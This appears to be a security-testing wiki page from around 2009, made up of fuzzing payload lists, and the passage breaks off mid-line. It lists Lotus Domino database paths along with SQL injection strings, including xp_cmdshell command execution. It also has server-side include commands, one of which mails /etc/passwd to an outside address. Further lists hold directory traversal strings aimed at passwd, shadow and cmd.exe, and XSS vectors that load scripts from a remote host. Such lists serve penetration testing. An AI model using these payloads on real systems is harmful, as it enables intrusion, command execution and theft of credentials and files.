/admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: 